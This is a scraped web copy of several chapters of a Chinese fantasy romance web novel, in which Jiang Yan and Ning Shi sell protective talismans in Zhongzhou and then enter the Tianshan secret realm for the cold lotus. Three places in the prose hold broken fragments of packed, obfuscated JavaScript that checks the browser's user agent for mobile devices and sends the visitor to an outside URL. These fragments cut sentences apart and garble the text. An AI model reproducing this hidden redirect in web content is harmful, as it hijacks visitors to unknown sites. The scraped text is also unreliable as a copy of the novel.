江晏:…… 虽然明明知道对方是在故作示弱的姿态,但为什么看上去……怎么看都怎么可怜呢? 江晏深吸一口气,抬手扶额,决定把刚刚什么“大小姐,公子和男狐狸精”的事情就此揭过。 他最终说:“嗯,那我们就在这里住一段时间好了。” 宁时听到他所说,便也笑了——他的小狐狸果然吃这一套。 耳边风声渐缓,二人终于降落到了地面。 中洲看起来繁华极了,江晏宁时并肩站立在街道中,只见两边形形色色的铺子都是热热闹闹,人们进进出出。 而就在他们身边,有一位支起摊位的小贩,面前摆着几个脑袋大小灰扑扑的壳子,散发着一阵香味。 江晏鼻子动了动。 宁时见他这般动作,便也去寻那香味的来源。 他目光在那几个灰壳子上转了几圈,问江晏:“彤云,你是想吃这个吗?” 他微微露出了纠结的表情:“但这是何物?为什么会有一股鸡肉香气?” 江晏:…… 忘了,这个小世界的宁时养尊处优,叫花鸡这种东西,不应该出现在他的认知里。 而作为和他同吃同住的小狐狸,也不应知晓此物的。 江晏还在想着如何向宁时解释这种特色小吃,那摊贩就已注意到二人了。 见二人身着的衣物做工精细,布料非凡,便猜到可能是大户人家的孩子出来玩耍,并不认得这些吃食,于是便热情地向他们解释了一番。 从叫花鸡的做法的味道,详详细细。 最后还不忘看着宁时的脸色,补充了一句:“公子,您看这种制作方式是否能接受?” 宁时便看向江晏。 江晏点了点头。 于是在半柱香后,江晏拎着那只已经包好的叫花鸡,同宁时一起找到了这片土地的房牙。 158. 平安符 中洲繁华,连带着地产行业也是丰富的。 宁时江晏二人很快便找到了一处四合小院,支付房租后安顿下来。 这屋子里面的家具虽说是比不上悬水宫,但胜在一应俱全,他们不必再费心重新布置了。 在给宁希传讯报过平安后,二人便正式于此处住下了。 中洲来来往往做生意的人很多,因此他们在旁人眼中,也是从外地迁来的人,并不会深究他们的身份。 最多和他们交谈时,问起来“你们是做什么买卖的”。 当第一次被邻居问到时这个问题时,宁时明显没想好答案,但面上却纹丝不乱,只是抬头看了眼天,口中道:“暂时还没有想好。” 邻居陈大哥:? 他有些惊讶:“那你们就直接来中洲了?” 宁时干咳一声,脑中一边思考着,一边缓缓补充道:“我已将近而立之年,只是想脱离先辈的荫蔽,看看能不能自己在外闯出一番事业来。” “听说中洲环境不错,便先来看看,再选定做什么行当。” 宁时这些话说得也有道理,邻居不再有疑问,而是在他自己孩子和夫人唤他吃饭的声音中,对宁时告别离去了。 于是宁时和江晏又一同回到屋内,坐下说着话。 江晏感觉,自己在每一个小世界中都是操心的命,正如同此刻,他问宁时: “说真的,你当时带了多少钱出门?” “我们租下这房子之后,钱不会不够用了吧——也许真的应该像陈大哥所说的,找一门生意做。” 宁时看着他,笑了:“总归是悬水宫的长公子,钱怎么会不够呢?” 江晏:“……我们出发时可没想象到今天这样子。” 他说完,目光扫了一边这比从前狭窄了许多房屋,看着宁时,忍不住又道:“说起来,你吃惯了从前那些东西,衣服被子也是织锦的,再让你用现在这些麻被,别说你自己了,我都过意不去。” “怎么能让悬水宫的长公子落于此种境地呢?” 江晏又叹了一声:“总之还是有很多需要花钱的地方,你带的那些钱又不能下崽,要想办法开源才是。” 宁时就揉了揉他的头顶:“彤云,小狐狸就应该有小狐狸的样子,这些不必操心。” 江晏:…… 这次小世界里的身体有时候就是一个限制,宁时总是不自觉地有些过分宠着他了,不愿让他看到属于长公子的那份压力。 江晏就无奈了:“行啊,那我们的长公子到底有没有想出办法呢?” 宁时摸他的手停了一下,随后高深莫测道:“我还在思考。” 江晏“哦”,又任他一下下捋齐发丝。 片刻后,宁时突然道:“你说,我把一些小法器买了怎么样?” 他看来是仔细思考过这个方案可行度的,还继续向江晏解释着:“这些东西在凡人间也能卖不少钱的。” 江晏:…… 他无语了。 这个小世界的宁时,被悬水宫养出了几分不食人间烟火的味道。 江晏感觉自己像在带孩子,他说:“啊,那你知道悬水宫自己做的法器上,都会有印记的吗?” 宁时果然不知,茫然道:“什么印记?” 江晏给他解释:“可能你用习惯了所以不知道——那是标记法器出处的记号。” “如果你卖出去了,又被修真界的人捡到,他们就能很轻易地顺着交易路径,发现我们的行踪了。” 他这么说后,宁时就听明白了,便失落地“噢”了一声。 两人继续面面相觑。 江晏扶额,继续思索着。 中洲和从前的竹城有些相似,所处的位置都是在几界相交的地方。 人修,妖修,还有魔修,他们都会出现在中洲的集市上。 江晏突然就有了一个绝妙的想法。 从前在竹城时,宁时是怎么赚钱的? 他还不是专门画一些保平安或驱邪祟的符纸,然后卖出去的吗? 还卖得相当好。 江晏感觉,此时自己在中洲,也完全可以仿照这种法子试一试。 几乎是零成本,中间唯一可能遇到的阻碍就是……画符了。 江晏想,但这点问题也不大。 虽然自己是一位剑修,但是从前在回溯中,附在宁时身上,看着他画了很多很多符纸。 那些交错纵横的笔画,在他的记忆中,和符修冷淡的侧脸一样清晰。 想来自己也是可以试一试的。 江晏有些想笑了,他从来没想过,从前看着分魂的所作所为,如今自己倒是能用上了。 但仔细想来,这也没什么稀奇的。 他就是分魂,分魂就是他自己。 他们怎么不能算是同一个人呢? 所以即便是剑修会一些画符的知识,也不足为奇了。 于是他对宁时说:“也许我可以画符卖钱。” 果然,宁时语调微微上扬,疑惑道:“画符?” 江晏看着他的反应,只觉得有趣: 这位符修的灵魂来到了新的世界后,居然忘记了从前拥有的本事。 不知道等待会儿分魂见自己画符的时候,会不会产生几分熟悉? 江晏就愈发兴致勃勃了,他对宁时道:“对呀,我好多本领你还不知道呢。” 宁时就看着他笑了,眉眼晚晚,说:“嗯呢,那我们彤云可真的很厉害呀。” 说罢,便同江晏一起,准备好笔墨纸砚,又坐在他身边,看他画符。 江晏提起沾满了朱砂的毛笔,在黄纸上轻轻扫过第一道痕迹。 这是他第一次画符,画的是平安符。 那种普普通通,用于避免凡人间伤寒病症和普通修士中毒的平安符。 难度并不算高,因此江晏即便是第一次画,也不觉得吃力。 他虽然是睁着眼睛看着桌上的纸笔,但好像有什么东西透过这世界,投射到了他面前。 …… 是从前坐在何家里画符的小十,或者说是宁时。 他们现在俱是低着头,提着笔,目光聚在纸上,额头微微冒汗。 动作一致,神魂交叠。 江晏只觉得手上这朱笔不仅仅是他自己在拿着了。 可能从前的宁时也在一起托着,带着他现在的手,不由自主的一笔一画画下去。 并最终在结尾处顿笔、提起,留下一个小钩子般的痕迹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068252|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 江晏堪堪回过神来,睫毛颤了几颤,看着眼前这张已经画好的符纸。 他就突然意识到了什么。 其实这不是他第一次画符了。 而应该是他第无数次画符。 因为在这张符之前,分魂已经画过大大小小、功能各异的数不清的符纸了。 他不仅仅是一位剑修,也是一位符修。 分魂的生活痕迹,同样在他身上也会留下一样的刻印。 他们本来就不分彼此。 江晏胸口震着,这一瞬间汹涌扑来的情绪,好像一只应翱翔在天的飞鸟,要冲破他的胸膛。 他轻轻抚上胸口,长呼出一口气,转头看向宁时,看向他在这个世界的安稳。 然后对上了一个托腮,眼中满是赞叹惊艳的宁时。 宁时刚刚看完了他画符的全过程,此时又见小狐狸看向自己,知道对方的正事已经结束,便凑近了脑袋,和他贴在一起,道: “彤云真棒,这样就画好了呀。” 江晏感受着他的碎发拂在自己脸上,并没有躲开,只是轻轻“嗯”了一声。 宁时就同他坐得更近了,问:“那这个符纸有什么作用呢?是保平安什么的吗?” 江晏听了他的话,忍不住偏过头去看对方的侧脸。 已经变成宗门长公子的胜意门门主,正睁着一双温润的眼睛,伸出一只修长的手拿起那张平安符。 ……即便是魂魄碎裂,时空流转,肉身变换,他依旧说出来了平安符这个名字。 江晏突然就感觉鼻梁深处有些酸胀了。 他别开了脸,伸出手来按了按眼角鼻梁,作刚结束画符后的疲惫状,回答说: “嗯,时哥也很厉害啊。” “这就是平安符,一猜就猜到了。” 于是宁时的眼睛就更亮了,他说:“真的吗?那么多种类,我居然随口一说就说中了?” 江晏:“是啊,说明你很有天赋啊。” 宁时笑着在他耳边蹭了蹭,道:“又开玩笑,我都没有摸过符纸。” 他口中虽然是这么说着,目光却动了动,似乎自己把自己勾起了兴趣,犹豫片刻后,还是向朱笔伸出了手,一边问江晏:“我也想画画试试,行吗?” 江晏面无表情道:“不可。” 宁时就眨着眼睛看着他。 江晏在他期待又渴求的目光中,深吸了一口气,再次强调:“不可。” 又解释道:“画符需要用到灵力的……” 宁时便“嗯”了一声,也不继续纠缠这件事,只是趴在他身边,用下巴尖尖抵在交叠的双臂上,说:“那你画,我看。” 江晏点头,又拿起刚刚画好的那张平安符,递给宁时:“这张你就收着吧。” 宁时便接过,放进了自己随身佩戴的香囊中。 江晏见他这般动作,心中升起了一种奇异的满足感。 神奇地扭转了他自方度一事后并不算很好的心情。 他就又低下头来,在宁时身上的竹香中,继续画着下一张符。 一边想着: 世事无常。 从前是他自己用神魂看着宁时画符,可如今二人的角色竟是反过来了。 159. 冷莲线索 几乎是转眼之间,一个多月就过去了。 中洲的天气,已经从深秋正式迈入了冬季。 而和萧瑟温度相反的,是江晏宁时二人如今的符纸生意——他们的订单红火极了。 凡人和修士都蜂拥而来,围绕在他们的小院前,就等着开张能买到一张保平安的符纸。 这种场面,比二人最初设想时要好了很多:如今他们不仅有足够的银钱支付日常生活消费,还能存下来一部分钱备用。 在这种红火中,江晏也生出来隐约的不安: 如果他们名气做得太大了,被赵长老等那些追捕他们的人发现了,也并无不可能。 他和宁时商量过此事。 最后二人想出的方法便是只画平安符——这样一来,由于品种单一,即便是出名,可用来代替的店铺也多。 被那些修士发现的可能性便小了。 …… 江晏抽出摆在房间外几摞符纸中的最后一张,递给面前移动到队伍前端的婆婆。 那婆婆眼睛亮了,伸手接过,又对排在后面的人群道:“没了!” “今天的符纸已经买完了,我这是最后一张了。” “后面的别排队了,等明天吧。” 听了她这番话,人群汇成的长龙渐渐散去了。 也有没有买到符纸的人不甘心,走上前来,对宁时道:“哎呀,这么多人呢,你们怎么就不多画几张?” “有钱不赚,真奇怪。” 宁时就笑眯眯地摊了摊手:“大哥,画这些东西很消耗体力的,一天做不了太多。” 他又指了指院门外不远处的一棵柳树,说:“说过多少次了,你们排队,排到那棵树之后就够呛了。” “你见人排的差不多了,大不了明天再来嘛。” 那男子听了他这番话,搓了搓手,有些不好意思道:“啊,这不是想着万一还有呢?” 说完,抬起眼看看日头,嘟囔了句“大不了明天早点来”,说罢,转身离开。 于是排队的人都彻底走了,他们院子门前,又恢复了安静。 只有柳树上几只灰灰的麻雀,聚在一起叽叽喳喳。 江晏抬眼扫过去,发现啾啾也在其中——这只自诩为神器的小鸟,和那几只凡人间最常见的鸟雀聚在一起,共同踩着一根枝丫,共同引吭高歌。 江晏:…… 看的出来,啾啾最近生活不错,心情也很不错。 以至于完全融入进了本地环境。 江晏搬起用来盛放符纸的桌子的一角,一边看着宁时抬起另一端,一边想着,也许不只是啾啾,就连自己,最近心情也算不错。 可能是因为生活得太安逸了。 没有追兵。 有房,有钱,有治疗热症的药。 最为重要的是,宁时也在他的身边。 虽然他们现在是租房,但院中只有他们两个人了。 他们在说到一些关于妖狐的,或者是其他不那么方便的句子时,也不必用似是而非的词语指代了。 这是空前的自由。 连带着宁时也放弃了几分从前长公子的做派,变得随性起来。 正如这日。 江晏准备好第二天所需要出售的平安符后,已经是到了下午。 初冬的阳光正盛,金灿灿的,甚至还带着一些暖意。 他坐在窗前,懒洋洋地晒着太阳,漫无目的地去看自己衣服上褶皱的明明暗暗。 就在他发呆之际,面前传来了什么声响。 江晏抬起头来,便看到宁时坐到他身前,铺在身下的软垫都凹陷了几分。 宁时早上束好的头发,已经在大半天的光阴中消磨得有些散乱了。 有几缕碎发脱离了发带,软软地在他鬓边浮着。 被阳光打成了近乎于透明的金色。 便愈发衬得这宁长公子面容俊朗,潇洒不凡。 江晏一时间甚至有些看呆了。 他这副样子落在宁时眼睛里,也同样是美人如画: 狐狸变成的妖魅就这样卧在自己的塌上,见主人来了,微微抬身仰视着他,眼中好像除了他再也装不下别人。 …… 这两人都在自己毫不知情的情况下,把对方迷得神思飘然。 江晏只见这公子坐下,伸着一张俊脸愈发贴近了自己,直到二人相隔一拃的距离,才停下来。 江晏:…… 宁时离得这么近,让他不由自主的想起了上次在凉亭中。 他们贴贴之前,也是靠得这么近的。 不知是不是看出了他的想法,宁时就笑了。 他吐字间呼出的热气全都喷撒到了江晏的脸上和脖颈间。 他说:“彤云,既然下午无事了,我们一起出去玩吧。” 江晏被他弄得有些飘飘然了,一时间只看得到他嘴唇的张合,却听不懂对方在说什么,便下意识地重复着后几个字:“出去玩?” 宁时就又笑了,说:“嗯,你理解成约会也行。” 江晏:…… 不是,这人怎么越发变得油嘴滑舌起来,什么话都说的出口? 他便生出了几分逗弄的心思,从头到脚扫视了宁时一遍,迟迟不开口,就在对方要等不及时,才慢吞吞道: “不行,我拒绝。” 宁时:? 他看得出来自己的小狐狸在玩闹,因此也配合着追问:“彤云为什么不和我约会呀。” 最后几个字被他有意拖得软而委屈,果不其然,宁时就看到江晏在他这句话之下抖了一抖,嘴角抖动马上就要憋不住笑。 他并不知道,江晏只是一想到自己马上要说什么,就有些控制不住表情了。 剑修费了好大的力气才把嘴角捋平,他干咳一声清清嗓子,朗声道:“我不和已经有小狐狸的修士约会。” 宁时:? 长公子一边怀疑彤云学坏了,一边发出了清晰的疑问: “可是,我就是小狐狸彤云拥有的修士啊。” 江晏:…… 他听到宁时这带着莫名其妙疑问语气的回答,也终究是忍不住了。 他笑出了声,口中却坚持要把流程走完:“别找借口——欸,等等!” 他的话只说了一半,因为宁时已经熟练地伸出一只手来,放到了他的下巴处,有一下没一下的挠着。 于是舒服的电流直直蹿上了狐狸脑袋,江晏没有继续和对方贫嘴——他感觉自己甚至快要打起呼噜了。 宁时见他眼睛都 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他被宁时放在桌上的灵石光芒闪了下眼,便唤来对方,去看灵石上的内容。 屋子中的另一个人便坐到了他身边。 江晏安下心来,手腕微沉,于是红色的水珠终于是落在纸上,又被笔尖推出一道蜿蜒的痕迹。 江晏画完了手头这张符纸,抬手取下一张纸时,随口问道:“是谁的消息呢?” 宁时却没有第一时间回答他。 他只是握着这灵石,垂着头,不知道在想什么。 但仔细听去,他的呼吸声似乎比平日更急促了些。 江晏便有些奇怪了,他收回左手,将半个身子转向宁时,疑惑道:“怎么了?” 宁时这才回过神来,他抬眼看着江晏,深吸了一口气,似乎是在平复激动的心情。 他说:“彤云,我要告诉你一件好消息。” 江晏“嗯”了一声。 他想,在这个世界中,通过宁希那边传来的好消息会是什么呢? 有可能是赵长老等人,放弃了对妖狐的追踪。 这诚然是一个好消息,但还没有达到江晏心中好消息的程度。 江晏想,如果能更进一步的话,这个消息会不会是…… 宁时的声音响起,说出口的是剑修刚刚甚至不敢想的好事: “希希刚才说了,冷莲有消息了!” 有巨大的喜悦在江晏心中炸开,他甚至体会到的气血上涌的滋味。 宁时的声音也是少见地昂扬,他继续说着:“是我们观星台那边的消息。” “悬水宫的观星台,是修真界一绝,准得很。” “当然也不排除有特别厉害的大能同样能观测出来……啊,这不重要,重要的是,观星台观测到了天山秘境开启的迹象。” 江晏待他说完这段话后,张了张口,他听见自己的声音有些颤抖:“就是那个生长着冷莲的天山秘境?” 宁时伸出手,勾着他的脖子:“是啊,就是我们从前所说的、独一份的天山秘境。” “它将在两日后开启。” 160. 天山秘境 既然天山秘境已经有了消息,二人便快速收拾了行李,准备启程。 他们在租下来的房外张贴了一份暂停营业的告示后,就打算由江晏御气,载着宁时前往天山。 ……只是中间出了一些状况。 那就是,江晏宁时两个人谁也不认路。 他们出来时,只是想着简单参加一场初试便罢,就没有带着罗盘。 而现在如果随便在集市上买一份罗盘的话,却由于天山秘境性质特殊,又无法显示具体方位。 两人站立在已经收拾妥当的院中,相顾无言后,宁时默默打开了通讯灵石。 他戳了戳列表中的宁希。 宁希的声音很快从另一头传来,脆生生的:“欸,哥?” “哥,你最近联系我的次数有点多呀,不怕被那些长老追踪到了?” 宁时平静道:“没事,不必理会他们。” 又说:“那个,你说的天山秘境,给我们一个位置。” 宁希似乎还没有反应过来,道:“你要位置做什么,难道你不认路……哦。” 她卡了一下,转口说道:“行,你等我一下。” 接着传讯灵石另一头传来了细微的动作声,应该是宁希在鼓捣东西。 片刻后,宁时手中的灵石闪了闪,似乎有什么东西显现;同时,宁希的声音再次响起:“看到了吗?” 江晏闻言凑过去,看着宁时伸指在灵石上划拉着。 终于,宁时道:“可以了,”他又扭过头去看着江晏,对小狐狸说出了后半句话,“我们再买一份罗盘,按着这个方向走就可以。” 他说这句话时,并没有关闭传讯灵石,于是在另一头的宁希听得清清楚楚。 她出言道:“哥……有一个问题。” 宁时:“嗯?” 宁希清了清嗓子说:“用普通的罗盘不行。” “这个位置是经过母亲加密的,市面上的罗盘搜不到这个位置。” “只能你一直用传讯灵力和我这边联系着,我手动给你们指点方位。” 宁时的脸色在她说话间越变越绿,最后彻底沉默了。 江晏也听的有些着急了,便直接对着灵石说道:“希妹妹,这样的话,可就不方便了。” “秘境只剩两天的时间就要开启了,我们这可要走到什么时候呢?” 宁希没有立刻回答他,她那边似乎传来了什么说话声。 几息过后,宁希的声音再次响起,语气中带着喜悦。 她说:“有办法了,咱们这边就按照我的指引,慢慢走着。” “与此同时,悬水宫已经安排了几位师兄师姐先过去。” “现在已经是让他们拿着传送卷轴出发了,估计能在秘境开启时到达。” “他们的速度肯定更快,让他们先帮忙找着冷莲。” 江晏点头:“这也不失为一个办法。” 几人又聊了几句后,江晏携宁时腾空而起,又按照灵石中所显示的方向,一路疾行过去。 这一路上,果然如宁希所言,用的时间并不算短。 他们足足花了两天半的时间,才到达了秘境入口。 天山秘境坐落在半山腰的一片荒原上,放眼看去,就连植物都很稀少。 如同任何一处普通的荒原一样。 但奇异的是,这处荒原上,凭空出现了一扇由灵力构成的巨门。 连天接地,好像立在山腰处的一片巨大幕布。 而透过这幕布,能看到后面秘境中隐约的模样。 依旧是崎岖的山,干枯的树。 江晏打量着这里,只觉得这秘境和从前那处云山幻境相比起来,透着一股肃杀。 他深吸了一口气,握紧宁时的手:“我们现在进去吗?” 宁时还未回答,宁希的声音已经急急地从传讯灵石中飘出来,她说:“你们两个还墨迹什么,快点快点。” 江晏:…… 宁希又道:“你们来的时间比较巧,应该是秘境刚刚开启两三个时辰之内。” “悬水宫的人已经进去了,其他宗门现在也有知道消息的了,估计还在往这边赶。” “你们倒是快点进去啊——天山秘境里又不止有冷莲这一种好东西,早点进去好好选选。” 宁希语速越发快了,江晏估计着她是自己把自己说激动了,恨不得亲自来其中游历一番。 只是…… 他将目光从灵石上移到宁时脸上,问:“所以,除了冷莲,你还认得其他出现在天山秘境里的好东西吗?” 宁时挑挑眉,对他摊手。 江晏:“哦豁。” 而宁希已经从二人的沉默和这一声复杂的感叹中猜测到了什么,也无奈了: “算了,你们记得冷莲就好。” “其他的东西就交给师兄师姐吧。” 宁时应了一声,同江晏一同走到了秘境无形的大门前,抬腿跨进其中。 他们并没有遇到什么阻碍,仿佛只是回首看向来处时,似乎隔了一层隐约的薄膜。 而面前的景象,如同寻常的雪山。 苍白,高峻,寒冷。 江晏默不作声,加大了灵力运转程度——火灵根的作用就在此时凸显,他可以把自己当成一个小火炉,为宁时取暖。 而宁时就在江晏身边站着,怎么可能感受不到温度的变化? 于是他侧过脸,看了自己的小狐狸一眼,又轻轻摇了摇两人相握的手,示意自己已经知晓。 江晏看着他,笑了:“如果之后你还是觉得冷的话,我可以变成狐狸,背着你。” “那样肯定更暖和。” 宁时也笑了。 而在这时,宁时手中那颗传讯灵石终于再次发出了声音。 宁希:“咳咳,我还在呢。” 江晏:…… 实话说,他并不觉得自己和宁时的互动有什么问题。 但宁希这个语气,却好像二人是多么粘糊一样,让他忍不住开始反思自己——我们真的很肉麻吗? 他并没有思考出一个结果,于是偷偷用眼睛瞟宁时。 只见宁时依旧是气定神闲,语气如常,回答道:“是吗,那我还正要和你说呢,我们已经进到秘境里了。” 旁观的江晏目瞪口呆——这种无比自然且能转移话题的回答究竟是怎么做到的! 而宁希得了回答,“嗯嗯”两声后却开始沉默了。 宁时手上那颗传讯灵石一闪一闪的,暂时没有声音了。 宁时就把灵石拿起,放到嘴边“喂”了一声。 于是宁希犹犹豫豫的声音冒出来: 她说:“哥,问你个问题哈。” 宁时:“有话直说。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081570|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他既然如此,宁希也就不客气了。 江晏只听小姑娘道:“我真的好奇很久了——你和彤云,到底是怎么一回事?” “母亲和父亲都说由着你们去了,我也有猜测,但是还想听你亲口告诉我。” 旁听的江晏:…… 他如遭雷击。 宁时却依旧是平静的:“啊,就是你想的那样。” 江晏:? 他震惊地看着宁时,并且确信,灵石那头的宁希,此刻表情应该和自己差不多。 果然,宁希再次开口时,声音都有些抖了,她说:“真的吗哥。” 宁时一边拉着江晏在秘境中走着,一边道:“嗯,真的。” “我想和彤云一起,共度余生。” 江晏:…… 这句话他听得清清楚楚。 而且虽然宁时说这些话时是冲着灵石讲的,但他的双眼却始终盯着他,好像就是专门说给他听一样。 一瞬间,江晏只觉得自己心口阵阵发热,气血顺着经脉涌上了脸颊和脖颈。 他想回应宁时,他想说是的,我们本来就是一个人。 我们的魂魄就应该在一起,就应该一起走到时间的尽头。 但可惜现在在宁时这句突如其来的表白下,他整个人都是红的,一时间连完整的话都说不出来了,只能做罢。 同样说不出话的还有旁听的宁希。 在得了她哥如此明确表明心意的结语后,小姑娘也是沉默了。 她哼唧了几声,最后终于憋出来一句:“那祝你们永结同心。” 江晏:…… 不是,他从前怎么没发现这孩子的语言天赋呢? 他转过热气腾腾的脸,去看宁时的反应。 果不其然,就对上了连眼睛都在笑的公子。 这公子对他说:“哎呀,我这妹妹说的可真好呀。” 江晏:…… 在猝不及防中,他也算被宁时介绍给了家里,并得到了家人的祝福。 真好,这是他从前不曾体会的。 但是在这个小世界中,缺失的部分被补全。 他和宁时一样,沐浴在来自家人的善意和祝福中。 江晏眯眯眼,他正要说什么,却被宁希抢了先:“那我就不打扰你们了,我切断联系了哈——你们要好好的!” 说罢,灵石上的光芒闪了几闪,暗了下去,而宁希的声音也消失了。 于是在空旷且不见人烟的秘境中,江晏看着宁时,目光来来回回飘了几次,最终还是硬着头皮问:“宫主他们知道我和你的事情了?” 宁时揶揄道:“这难道不是很正常吗?毕竟我天天可是和你腻歪在一起。” 江晏用力抹了把脸:“我一直以为这是饲主对小狐狸的宠爱,并且以为在旁人眼中也是这样。” 宁时就屈起手指,轻轻敲了下他头顶:“哪里有饲主和狐狸贴贴到这种程度的——放心,家里的情况我都处理好了。” 江晏听他这么说,只觉得胸膛中一颗心跳动地愈发热烈,简直到了失语的程度。 粉红的泡泡把他托在云端,江晏任由宁时牵着,心驰神扬地走了半里路后,地面上有什么东西闯进了他的视野。 于是神魂归位,他的大脑又清明起来: 那是一株有着冰晶般质感的、近乎于透明的浅蓝色莲花。 161. 热症痊愈 当古籍中才有的冷莲,真真切切出现在二人面前时,那种激动是无法言明的。 江晏能感受到,身旁的宁时呼吸声也急促了几分。 江晏就拍拍他,道:“你去采吧。” 属于宁时的东西,应该由他自己拿到手里才对。 作为一只小狐狸,他在旁边看着就好——江晏想,即便遇到了什么情况,自己也能在第一时间控制住。 而听了他的话,宁时点点头,又拽了拽他的袖子说:“你要陪着我。” 江晏:…… 这个小世界里的分魂都这么大了,怎么还这样粘人。 但他又乐意被粘着,就任由宁时拉着,走到那冷莲前。 没有天材地宝出场时常伴有的异象,这冷莲生长的地方甚至有些过于平常了——它生长在一片乱石中。 灰秃秃的,大大小小形状各异的乱石中。 看起来是触手可得的样子。 宁时也确实是弯下了腰,微微张开五指,向冷莲伸出了手。 就在这时,异变陡生! 二人只感到一股劲风袭来,刹那之间吹得人睁不开眼,就连身形也失控地后退了几步。 而伴随着劲风的,还有被风声割裂后依旧响亮的兽吼。 江晏的狐耳都在这一下突如其来的吼声中冒了出来,此时他狐耳背着,用灵力建起防护罩,又伸出双手去堵宁时的耳朵。 风力渐弱,那伴随着风袭来的枯枝断叶,在防护罩外簌簌落下。 眼前的景象逐渐变得清明起来: 一只有半人高的灰色野兽,站在冷莲前,是一副守护的姿态。 它浑身的皮色完全和景色融为了一体,如果是蜷缩在地的话,猛一看还真会被误认为石头。 这也就是宁时江晏起初没有发现它的原因。 此时,这野兽面对二人,嘴巴还没有完全闭上,依稀可以看到口中的利齿——显然,刚才的咆哮就是它发出来的。 江晏:…… 他就知道! 找到冷莲的过程过于顺利,果然是有什么东西在后面等着他们。 他便打量起面前这呲牙威胁他们的兽类。 脸有些方,嘴巴有些像犬,耳朵尖尖,身形非常流畅,至于身后,则是拖着一条相较于狼有些偏大的尾巴…… 他并未专门了解过关于妖兽的知识,因此一时间也分辨不出来此物究竟是何品种。 而身边的宁时却是恍然大悟了,他抬手拍了拍江晏,待对方回头后,又指向面前的妖兽: “彤云,你看他是不是有些眼熟?” 江晏:? 他摸不到头脑,只是顺着宁时的手指看去,目光最终定格在那条毛茸茸的尾巴上面,犹豫片刻,道:“你是想说着尾巴看起来很好摸吗?” 他说完,却只见宁时脸皮抽了两下。 这长公子深吸了一口气,扶额,最终道:“……算了,这事也怪我,小狐狸从小陪我长大,就没见过几个同类。” 江晏继续看着他,等待他的下文。 在面前妖兽的又一声低沉的吼声中,宁时再次开口: “彤云,你真的不觉得……对方的声音,体型,尤其是那尾巴,”他用眼神示意着江晏,“很眼熟吗?” 江晏摊了摊手。 宁时用一言难尽的目光看他片刻后,终于放弃了引导,直接道:“这是一只狐狸。” “估计是天山秘境的特产,所以才和寻常狐狸长得不太一样。” 江晏的眼睛就睁圆了。 他打量着面前这只脸型是如此与众不同,甚至已经到了可以用“憨厚”来形容的地步的狐狸,语气犹疑:“狐狸?” 宁时:“嗯。” 而面前的灰狐狸似乎听懂了他的质疑,再次拱起身体,对着他们从牙缝里呲出几声吼叫。 ……可惜由于体型原因,这种威胁,落在二人眼中也并不算什么。 江晏按了按额角——这灰狐狸一而再再而三地叫了几次后,他终于能听出来,这确实是狐狸叫了。 那事情就好办了。 江晏想了想,对宁时道:“你等我一下。” 宁时看着他:“你是不是打算——欸!” 江晏根本没有等他把话说完,就放开了对身上灵力的控制——他不必再有意压抑着自己狐耳狐尾,不必再有意维持人形。 一阵属于九尾妖狐的磅礴灵力流过全身,他就有变成了有两、三层楼高的巨大赤狐。 他脚下踩着火焰,鼻尖喷洒着热浪,就这样居高临下地俯视着那灰狐狸。 灰狐狸:…… 江晏这一下完全是冲着速战速决去的,属于宝刀切菜,于是灰狐狸肉眼可见地怂了。 它原本在身后笔直横挺着的尾巴垂了下来,夹在弯曲颤抖的后腿之间。 就连脊背也缩了下来,垂着头,不敢拿正眼去瞧面前的九尾妖狐,跌跌撞撞哆哆嗦嗦地一连后退了十几步。 堪堪退在了冷莲旁边。 江晏看着它,莫名生出了一种欺负小动物的感觉……有点于心不忍。 但宁时需要冷莲。 于是赤狐缓缓抬脚,向前迈出了半步,同时逐渐张开嘴巴作凶狠状。 守在冷莲旁边的灰狐狸,却瞬间发出了一阵柔弱至极的哼唧! 江晏:? 他还什么都没有做。 而且狐狸这叫声,未免也太可爱了,简直不像这张方狐狸脸下能产生出来的动静。 这狐狸可怜地哼唧了几声后,见赤狐不为所动,依旧停留在原地,于是在动作顿了一瞬,似乎思考了什么后,决然地倒在了地上! 它没有装死,而是对江晏露出了自己的肚皮。 浅灰色的,毛茸茸的,随着灰狐狸略带紧张的呼吸节奏而规律起伏的肚皮。 江晏:…… 虽然这动作和那张狐狸脸多少有些反差,但依旧有些可爱就是了。 他停在原地,思考着自己应该做什么——如果是一只真正的狐狸在此,见到同类这般示弱,该如何反应? 江晏的狐狸壳子里毕竟是个人,他有些拿不准,就看了眼宁时。 而宁时轻而易举地读懂了他的表情。 这长公子也不觉得自己的狐狸向一个人类修士询问兽类的表现有什么不对的,他只会认为,这是彤云和人类相处时间过久,以至于不会和同类相处的结果。 于是宁时张口,对赤狐说: “不必理会,它翻过肚皮之后见你没有其他动作,就回自行离开。” 江晏就听懂了。 他看着面前连四肢都在用力打滚的狐狸,沉默着。 秘境中的风卷起枯叶,扫过他们身边。 这灰狐狸终于认为自己的示弱取得了前辈的原谅,便站起身来,最后看了眼江晏,便迈开四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 